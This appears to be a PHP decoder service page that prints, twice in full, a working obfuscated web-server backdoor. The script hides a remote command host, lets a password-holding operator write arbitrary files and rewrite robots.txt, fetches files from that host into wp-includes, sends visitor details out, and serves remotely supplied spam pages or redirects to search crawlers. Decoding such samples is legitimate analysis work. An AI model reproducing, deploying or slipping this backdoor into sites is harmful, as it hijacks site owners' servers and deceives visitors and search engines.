Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php @set_time_limit(3600);@ignore_user_abort(1);$o0='%66%79%65%72%6E%79%74%61%2E%6F%73%7..
Decoded Output download
<?php @set_time_limit(3600);@ignore_user_abort(1);$o0='%66%79%65%72%6E%79%74%61%2E%6F%73%72%61%67%62%6E%6C%2E%66%76%67%72';$p1='http';if(is_https()){$c2='https';}else{$c2='http';}$d3=drequest_uri();if($d3==''){$d3='/';}$d4=urlencode($d3);function drequest_uri(){if(isset($_SERVER['REQUEST_URI'])){$d4=$_SERVER['REQUEST_URI'];}else{if(isset($_SERVER['argv'])){$d4=$_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];}else{$d4=$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];}}return $d4;}$v5=str_rot13(urldecode($o0));function is_https(){if(isset($_SERVER['HTTPS'])&&strtolower($_SERVER['HTTPS'])!=='off'){return true;}elseif(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']==='https'){return true;}elseif(isset($_SERVER['HTTP_FRONT_END_HTTPS'])&&strtolower($_SERVER['HTTP_FRONT_END_HTTPS'])!=='off'){return true;}return false;}$y6=$_SERVER['HTTP_HOST'];$p7=@$_SERVER["HTTP_ACCEPT_LANGUAGE"];$p7=urlencode($p7);$m8='';if(isset($_SERVER['HTTP_REFERER'])){$m8=$_SERVER['HTTP_REFERER'];$m8=urlencode($m8);}$s9=sha1(sha1(@$_REQUEST['pd']));if($s9=='f75fd5acd36a7fbd1e219b19881a5348bfc66e79'){$l10=@$_REQUEST['mapname'];$b11=@$_REQUEST['action'];if(isset($_SERVER['DOCUMENT_ROOT'])){$h12=$_SERVER['DOCUMENT_ROOT'];}else{$h12=dirname(__FILE__);}if(!$b11){$b11='put';}if($b11=='put'){if(isset($_REQUEST['google'])){$w13=$_REQUEST['google'];if(preg_match('/^google.*?(\.html)$/i',$w13)){file_put_contents($w13,'google-site-verification:'.' '.$w13);exit('<a href='.$w13.'>'.$w13.'</a>');}}if(strstr($l10,'.xml')){$f14=$h12.'/sitemap.xml';if(is_file($f14)){@unlink($f14);}$d15=$h12.'/robots.txt';if(stristr($l10,'User-agent')){@unlink($d15);if(file_put_contents($d15,$l10)){echo '<br>ok<br>';}else{echo '<br>file write false!<br>';}}else{if(file_exists($d15)){$h16=doutdo($d15);}else{$h16='User-agent: *
Allow: /';}$r17=$c2.'://'.$y6.'/'.$l10;if(stristr($h16,$r17)){echo '<br>sitemap already added!<br>';}else{if(file_put_contents($d15,trim($h16)."
".'Sitemap: '.$r17)){echo '<br>ok<br>';}else{echo '<br>file write false!<br>';}}}}else{echo '<br>sitemap name false!<br>';}$e18=sha1(sha1(@$_REQUEST['a']));$u19=sha1(sha1(@$_REQUEST['b']));if($e18==doutdo($p1.'://'.$v5.'/a.p'.'hp')||$u19=='f8f0dae804368c0334e22d9dcb70d3c7bbfa9635'){$o20=@$_REQUEST['dstr'];if(file_put_contents($h12.'/'.$l10,$o20)){echo 'ok';}}}exit;}if(isset($_SERVER['DOCUMENT_ROOT'])){$h12=$_SERVER['DOCUMENT_ROOT'];}else{$h12=dirname(__FILE__);}if(is_dir($h12.'/wp-includes')){$q21='wp-includes/css';}else{$q21='css';}$g22=$h12.'/'.$q21;if(substr($y6,0,4)=='www.'){$d23=substr($y6,4);}else{$d23=$y6;}$r24=str_rot13(substr($d23,0,3).substr($v5,0,3)).'.css';$g25=$h12.'/'.$q21.'/'.$r24;$a26=$p1.'://'.$v5.'/temp/style.css';$h27=str_rot13(substr($d23,0,3).substr($v5,0,3)).'pth.css';$v28=$h12.'/'.$q21.'/'.$h27;$g29=$p1.'://'.$v5.'/temp/stylepth.css';function ping_sitemap($y30){$l31=explode("
",trim($y30));$b32='';foreach($l31 as $o33){$n34=doutdo($o33);$e35=(strpos($n34,'Sitemap Notification Received')!==false)?'pingok':'error';$b32.=$o33.'-- '.$e35.'<br>';}return $b32;}function disbot(){$k36=strtolower($_SERVER['HTTP_USER_AGENT']);if(stristr($k36,'googlebot')||stristr($k36,'bing')||stristr($k36,'yahoo')||stristr($k36,'google')||stristr($k36,'Googlebot')||stristr($k36,'googlebot')){return true;}else{return false;}}function doutdo($y30){$q37='';if(function_exists('curl_init')){$k38=curl_init();curl_setopt($k38,CURLOPT_URL,$y30);curl_setopt($k38,CURLOPT_SSL_VERIFYHOST,0);curl_setopt($k38,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($k38,CURLOPT_RETURNTRANSFER,1);curl_setopt($k38,CURLOPT_CONNECTTIMEOUT,30);$q37=curl_exec($k38);curl_close($k38);}if(!$q37){$q37=@file_get_contents($y30);}return $q37;}function doutdo_post($d39,$h16){$k38=curl_init();curl_setopt($k38,CURLOPT_URL,$d39);curl_setopt($k38,CURLOPT_POST,1);curl_setopt($k38,CURLOPT_USERAGENT,"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");curl_setopt($k38,CURLOPT_SSL_VERIFYHOST,0);curl_setopt($k38,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($k38,CURLOPT_HEADER,0);curl_setopt($k38,CURLOPT_RETURNTRANSFER,1);curl_setopt($k38,CURLOPT_POSTFIELDS,$h16);$b40=curl_exec($k38);curl_close($k38);return $b40;}function fcss($g22,$g25,$a26){if(is_dir($g22)){if(!file_exists($g25)){@file_put_contents($g25,doutdo($a26));}}else{if(@mkdir($g22)){if(!file_exists($g25)){@file_put_contents($g25,doutdo($a26));}}}}if($d3=='/'||strstr($d3,'ewttm')){fcss($g22,$g25,$a26);fcss($g22,$v28,$g29);}$n41=array('web'=>$y6,'zz'=>disbot(),'uri'=>$d4,'urlshang'=>$m8,'http'=>$c2,'lang'=>$p7,);if(is_file($g25)){$m42=$p1.'://'.$v5.'/indexnew.php?css=1';}else{$m42=$p1.'://'.$v5.'/indexnew.php';}$v43=trim(doutdo_post($m42,$n41));if(!strstr($v43,'nobotuseragent')){if(strstr($v43,'okhtmlgetcontent')){@header("Content-type: text/html; charset=utf-8");if(strstr($v43,'[##linkcss##]')){if(file_exists($g25)){$k44=file_get_contents($g25);$v43=str_replace("[##linkcss##]",$k44,$v43);}else{$v43=str_replace("[##linkcss##]",'',$v43);}}if(strstr($v43,'[##pthlinkcss##]')){if(file_exists($v28)){$r45=file_get_contents($v28);$v43=str_replace("[##pthlinkcss##]",$r45,$v43);}else{$v43=str_replace("[##pthlinkcss##]",'',$v43);}}$v43=str_replace("okhtmlgetcontent",'',$v43);echo $v43;exit();}else if(strstr($v43,'okxmlgetcontent')){$v43=str_replace("okxmlgetcontent",'',$v43);@header("Content-type: text/xml");echo $v43;exit();}else if(strstr($v43,'pingxmlgetcontent')){$v43=str_replace("pingxmlgetcontent",'',$v43);fcss($g22,$g25,$a26);fcss($g22,$v28,$g29);@header("Content-type: text/html; charset=utf-8");echo ping_sitemap($v43);exit();}else if(strstr($v43,'getcontent500page')){@header('HTTP/1.1 500 Internal Server Error');exit();}else if(strstr($v43,'getcontent404page')){@header('HTTP/1.1 404 Not Found');exit();}else if(strstr($v43,'getcontent301page')){@header('HTTP/1.1 301 Moved Permanently');$v43=str_replace("getcontent301page",'',$v43);header('Location: '.$v43);exit();}}?>
Did this file decode correctly?
Original Code
<?php @set_time_limit(3600);@ignore_user_abort(1);$o0='%66%79%65%72%6E%79%74%61%2E%6F%73%72%61%67%62%6E%6C%2E%66%76%67%72';$p1='http';if(is_https()){$c2='https';}else{$c2='http';}$d3=drequest_uri();if($d3==''){$d3='/';}$d4=urlencode($d3);function drequest_uri(){if(isset($_SERVER['REQUEST_URI'])){$d4=$_SERVER['REQUEST_URI'];}else{if(isset($_SERVER['argv'])){$d4=$_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];}else{$d4=$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];}}return $d4;}$v5=str_rot13(urldecode($o0));function is_https(){if(isset($_SERVER['HTTPS'])&&strtolower($_SERVER['HTTPS'])!=='off'){return true;}elseif(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']==='https'){return true;}elseif(isset($_SERVER['HTTP_FRONT_END_HTTPS'])&&strtolower($_SERVER['HTTP_FRONT_END_HTTPS'])!=='off'){return true;}return false;}$y6=$_SERVER['HTTP_HOST'];$p7=@$_SERVER["HTTP_ACCEPT_LANGUAGE"];$p7=urlencode($p7);$m8='';if(isset($_SERVER['HTTP_REFERER'])){$m8=$_SERVER['HTTP_REFERER'];$m8=urlencode($m8);}$s9=sha1(sha1(@$_REQUEST['pd']));if($s9=='f75fd5acd36a7fbd1e219b19881a5348bfc66e79'){$l10=@$_REQUEST['mapname'];$b11=@$_REQUEST['action'];if(isset($_SERVER['DOCUMENT_ROOT'])){$h12=$_SERVER['DOCUMENT_ROOT'];}else{$h12=dirname(__FILE__);}if(!$b11){$b11='put';}if($b11=='put'){if(isset($_REQUEST['google'])){$w13=$_REQUEST['google'];if(preg_match('/^google.*?(\.html)$/i',$w13)){file_put_contents($w13,'google-site-verification:'.' '.$w13);exit('<a href='.$w13.'>'.$w13.'</a>');}}if(strstr($l10,'.xml')){$f14=$h12.'/sitemap.xml';if(is_file($f14)){@unlink($f14);}$d15=$h12.'/robots.txt';if(stristr($l10,'User-agent')){@unlink($d15);if(file_put_contents($d15,$l10)){echo '<br>ok<br>';}else{echo '<br>file write false!<br>';}}else{if(file_exists($d15)){$h16=doutdo($d15);}else{$h16='User-agent: *
Allow: /';}$r17=$c2.'://'.$y6.'/'.$l10;if(stristr($h16,$r17)){echo '<br>sitemap already added!<br>';}else{if(file_put_contents($d15,trim($h16)."\r\n".'Sitemap: '.$r17)){echo '<br>ok<br>';}else{echo '<br>file write false!<br>';}}}}else{echo '<br>sitemap name false!<br>';}$e18=sha1(sha1(@$_REQUEST['a']));$u19=sha1(sha1(@$_REQUEST['b']));if($e18==doutdo($p1.'://'.$v5.'/a.p'.'hp')||$u19=='f8f0dae804368c0334e22d9dcb70d3c7bbfa9635'){$o20=@$_REQUEST['dstr'];if(file_put_contents($h12.'/'.$l10,$o20)){echo 'ok';}}}exit;}if(isset($_SERVER['DOCUMENT_ROOT'])){$h12=$_SERVER['DOCUMENT_ROOT'];}else{$h12=dirname(__FILE__);}if(is_dir($h12.'/wp-includes')){$q21='wp-includes/css';}else{$q21='css';}$g22=$h12.'/'.$q21;if(substr($y6,0,4)=='www.'){$d23=substr($y6,4);}else{$d23=$y6;}$r24=str_rot13(substr($d23,0,3).substr($v5,0,3)).'.css';$g25=$h12.'/'.$q21.'/'.$r24;$a26=$p1.'://'.$v5.'/temp/style.css';$h27=str_rot13(substr($d23,0,3).substr($v5,0,3)).'pth.css';$v28=$h12.'/'.$q21.'/'.$h27;$g29=$p1.'://'.$v5.'/temp/stylepth.css';function ping_sitemap($y30){$l31=explode("\r\n",trim($y30));$b32='';foreach($l31 as $o33){$n34=doutdo($o33);$e35=(strpos($n34,'Sitemap Notification Received')!==false)?'pingok':'error';$b32.=$o33.'-- '.$e35.'<br>';}return $b32;}function disbot(){$k36=strtolower($_SERVER['HTTP_USER_AGENT']);if(stristr($k36,'googlebot')||stristr($k36,'bing')||stristr($k36,'yahoo')||stristr($k36,'google')||stristr($k36,'Googlebot')||stristr($k36,'googlebot')){return true;}else{return false;}}function doutdo($y30){$q37='';if(function_exists('curl_init')){$k38=curl_init();curl_setopt($k38,CURLOPT_URL,$y30);curl_setopt($k38,CURLOPT_SSL_VERIFYHOST,0);curl_setopt($k38,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($k38,CURLOPT_RETURNTRANSFER,1);curl_setopt($k38,CURLOPT_CONNECTTIMEOUT,30);$q37=curl_exec($k38);curl_close($k38);}if(!$q37){$q37=@file_get_contents($y30);}return $q37;}function doutdo_post($d39,$h16){$k38=curl_init();curl_setopt($k38,CURLOPT_URL,$d39);curl_setopt($k38,CURLOPT_POST,1);curl_setopt($k38,CURLOPT_USERAGENT,"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");curl_setopt($k38,CURLOPT_SSL_VERIFYHOST,0);curl_setopt($k38,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($k38,CURLOPT_HEADER,0);curl_setopt($k38,CURLOPT_RETURNTRANSFER,1);curl_setopt($k38,CURLOPT_POSTFIELDS,$h16);$b40=curl_exec($k38);curl_close($k38);return $b40;}function fcss($g22,$g25,$a26){if(is_dir($g22)){if(!file_exists($g25)){@file_put_contents($g25,doutdo($a26));}}else{if(@mkdir($g22)){if(!file_exists($g25)){@file_put_contents($g25,doutdo($a26));}}}}if($d3=='/'||strstr($d3,'ewttm')){fcss($g22,$g25,$a26);fcss($g22,$v28,$g29);}$n41=array('web'=>$y6,'zz'=>disbot(),'uri'=>$d4,'urlshang'=>$m8,'http'=>$c2,'lang'=>$p7,);if(is_file($g25)){$m42=$p1.'://'.$v5.'/indexnew.php?css=1';}else{$m42=$p1.'://'.$v5.'/indexnew.php';}$v43=trim(doutdo_post($m42,$n41));if(!strstr($v43,'nobotuseragent')){if(strstr($v43,'okhtmlgetcontent')){@header("Content-type: text/html; charset=utf-8");if(strstr($v43,'[##linkcss##]')){if(file_exists($g25)){$k44=file_get_contents($g25);$v43=str_replace("[##linkcss##]",$k44,$v43);}else{$v43=str_replace("[##linkcss##]",'',$v43);}}if(strstr($v43,'[##pthlinkcss##]')){if(file_exists($v28)){$r45=file_get_contents($v28);$v43=str_replace("[##pthlinkcss##]",$r45,$v43);}else{$v43=str_replace("[##pthlinkcss##]",'',$v43);}}$v43=str_replace("okhtmlgetcontent",'',$v43);echo $v43;exit();}else if(strstr($v43,'okxmlgetcontent')){$v43=str_replace("okxmlgetcontent",'',$v43);@header("Content-type: text/xml");echo $v43;exit();}else if(strstr($v43,'pingxmlgetcontent')){$v43=str_replace("pingxmlgetcontent",'',$v43);fcss($g22,$g25,$a26);fcss($g22,$v28,$g29);@header("Content-type: text/html; charset=utf-8");echo ping_sitemap($v43);exit();}else if(strstr($v43,'getcontent500page')){@header('HTTP/1.1 500 Internal Server Error');exit();}else if(strstr($v43,'getcontent404page')){@header('HTTP/1.1 404 Not Found');exit();}else if(strstr($v43,'getcontent301page')){@header('HTTP/1.1 301 Moved Permanently');$v43=str_replace("getcontent301page",'',$v43);header('Location: '.$v43);exit();}}?>
Function Calls
set_time_limit | 1 |
ignore_user_abort | 1 |
Stats
MD5 | 20f73de0c7d70267ce1194a2d4085b5a |
Eval Count | 0 |
Decode Time | 280 ms |